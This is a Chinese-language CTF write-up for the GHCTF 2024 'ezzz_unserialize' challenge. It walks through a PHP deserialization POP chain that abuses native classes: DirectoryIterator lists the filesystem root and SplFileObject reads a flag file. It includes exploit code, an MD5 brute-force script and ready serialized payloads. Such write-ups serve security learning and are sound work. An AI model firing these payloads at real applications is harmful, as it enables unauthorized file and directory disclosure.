本文最后更新于 2025-12-16T15:06:02+08:00
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 <?php error_reporting (0 );class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } }class NoNo { private $peach ; public function __construct ($string ) { $this -> peach = $string ; } public function __get ($name ) { $var = $this -> $name ; $var [$name ](); } }class BasaraKing { public $orange ; public $cherry ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { $function = $this -> orange; return $function (); } public function __get ($arg1 ) { $this -> cherry -> ll2 ('b2' ); } }class UkyoTachibana { public $banana ; public $mangosteen ; public function __toString ( ) { $long = @$this -> banana -> add (); return $long ; } public function __set ($arg1 ,$arg2 ) { if ($this -> mangosteen -> tt2) { echo "Sakura was the best!!!" ; } } }class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } }class UesugiErii { protected $coconut ; protected function addMe ( ) { return "My time with Sakura was my happiest time" .$this -> coconut; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } }class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } }class MaiSakatoku { public $Carambola ; private $Kiwifruit ; public function __set ($name , $value ) { $this -> $name = $value ; if ($this -> Kiwifruit = "Sakura" ){ strtolower ($this -> Carambola); } } }if (isset ($_POST ['GHCTF' ])) { unserialize ($_POST ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
1 2 3 4 5 6 7 8 9 10 11 class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } }
其中看到 E 这个类,在__get()魔术方法中调用了array_walk()函数,传入的第一个参数就是$this,就会遍历当前对象的所有属性,然后对每个属性调用回调函数,其中的$Monday是属性值,$Tuesday是属性名
在 PHP 中,array_walk() 是一个用于遍历数组并对每个元素应用自定义回调函数的内置函数,它可以直接修改数组元素(通过引用),核心作用是对数组的每个元素执行指定操作 。
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Test { public $test1 = "hello" ; public $test2 = "world" ; public function __get ($arg1 ) { array_walk ($this , function($a , $b ){ echo $a ."\n" ; echo $b ."\n" ; }); } }$a = new Test ();$a ->non_existent; serialize ($a );
然后如果了解了一些 PHP 原生类的知识,回调函数中的代码就会感觉有点熟悉
1 2 3 4 $Wednesday = new $Tuesday ($Monday );foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); }
就比如使用原生类DirectoryIterator、FilesystemIterator、GlobIterator ,这些可以遍历目录的类
博客文章:https://blog.csdn.net/cjdgg/article/details/115314651
1 2 3 4 <?php $dir = new DirectoryIterator ('/CTF/网络安全学习笔记/漏洞' );echo $dir ;?>
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名:
如果想输出全部的文件名我们还需要对$dir对象进行遍历:
这不就和回调函数中的代码一样嘛,所以这里就可以利用原生类来进行目录遍历,查看有哪些目录和文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Test { public $test ; public function __get ($arg1 ) { array_walk ($this , function($a , $b ){ echo $a ."\n" ; echo $b ."\n" ; $c = new $b ($a ); foreach ($c as $d ){ echo $d ."\n" ; } }); } }$a = new Test ();$a ->DirectoryIterator = '/CTF/网络安全学习笔记/漏洞' ;$a ->non_existent;serialize ($a );
除此之外还有可以读文件的原生类SplFileObject,也是一样,直接echo只会输出一行的内容
1 2 3 4 <?php $content = new SplFileObject ('/CTF/网络安全学习笔记/漏洞/PHP反序列化/PHP原生类/题目/[GHCTF 2024 新生赛]ezzz_unserialize/test.php' );echo $content ;?>
所以也要利用foreach进行循环遍历
1 2 3 4 5 6 <?php $content = new SplFileObject ('/CTF/网络安全学习笔记/漏洞/PHP反序列化/PHP原生类/题目/[GHCTF 2024 新生赛]ezzz_unserialize/test.php' );foreach ($content as $c ){ echo $c ."\n" ; }?>
所以最后一步的EXP就知道怎么构造了
1 2 3 $E = new E ();$E ->DirectoryIterator = "/" ;
然后就是往前找构造链子了,要触发__get()魔术方法的地方,就是调用不存在的成员属性,就是在Heraclqs类中的return $this -> grape -> hey;
1 2 3 4 5 6 7 8 9 class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } }
这里要找到一个经过双重MD5加密后是123开头的字符串
借鉴一下脚本:https://blog.csdn.net/liaochonxiang/article/details/140361138
1 2 3 4 5 6 7 8 9 10 11 import hashlibimport itertoolsimport stringfor i in itertools.product(string.printable, repeat=3 ): s = '' .join(i) s1 = hashlib.md5(s.encode()).hexdigest() s2 = hashlib.md5(s1.encode()).hexdigest() if s2[:3 ] == '123' : print (s)
所以这部分的EXP可以写成
1 2 3 $Heraclqs = new Heraclqs ();$Heraclqs ->blueberry = "1xE" ;$Heraclqs ->grape = $E ;
然后继续找触发__invoke的地方,就是以调用函数的方式调用一个对象,在Sakura类的__toString方法中,并且这个类的__destruct里的内容可以触发__toString魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } }
这就是 POP 链的开头了,注意这里的apple要实例化的对象是Sakura类才会触发这个类的__toString,EXP:
1 2 3 $Sakura = new Sakura ();$Sakura ->apple = $Sakura ;$Sakura ->strawberry = $Heraclqs ;
总结起来完整的EXP就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Sakura { public $apple ; public $strawberry ; }class E { public $e ; }class Heraclqs { public $grape ; public $blueberry ; }$E = new E ();$E ->DirectoryIterator = "/" ;$Heraclqs = new Heraclqs ();$Heraclqs ->blueberry = "1xE" ;$Heraclqs ->grape = $E ;$Sakura = new Sakura ();$Sakura ->apple = $Sakura ;$Sakura ->strawberry = $Heraclqs ;echo serialize ($Sakura );?>
1 O :6 :"Sakura" :2 :{s:5 :"apple" ;r:1 ;s:10 :"strawberry" ;O:8 :"Heraclqs" :2 :{s:5 :"grape" ;O:1 :"E" :2 :{s:1 :"e" ;N;s:17 :"DirectoryIterator" ;s:1 :"/" ;}s:9 :"blueberry" ;s:3 :"1xE" ;}}
然后用SplFileObject类读文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Sakura { public $apple ; public $strawberry ; }class E { public $e ; }class Heraclqs { public $grape ; public $blueberry ; }$E = new E ();$E ->SplFileObject = "/1_ffffffflllllagggggg" ;$Heraclqs = new Heraclqs ();$Heraclqs ->blueberry = "1xE" ;$Heraclqs ->grape = $E ;$Sakura = new Sakura ();$Sakura ->apple = $Sakura ;$Sakura ->strawberry = $Heraclqs ;echo serialize ($Sakura );?>
1 O :6 :"Sakura" :2 :{s:5 :"apple" ;r:1 ;s:10 :"strawberry" ;O:8 :"Heraclqs" :2 :{s:5 :"grape" ;O:1 :"E" :2 :{s:1 :"e" ;N;s:13 :"SplFileObject" ;s:22 :"/1_ffffffflllllagggggg" ;}s:9 :"blueberry" ;s:3 :"1xE" ;}}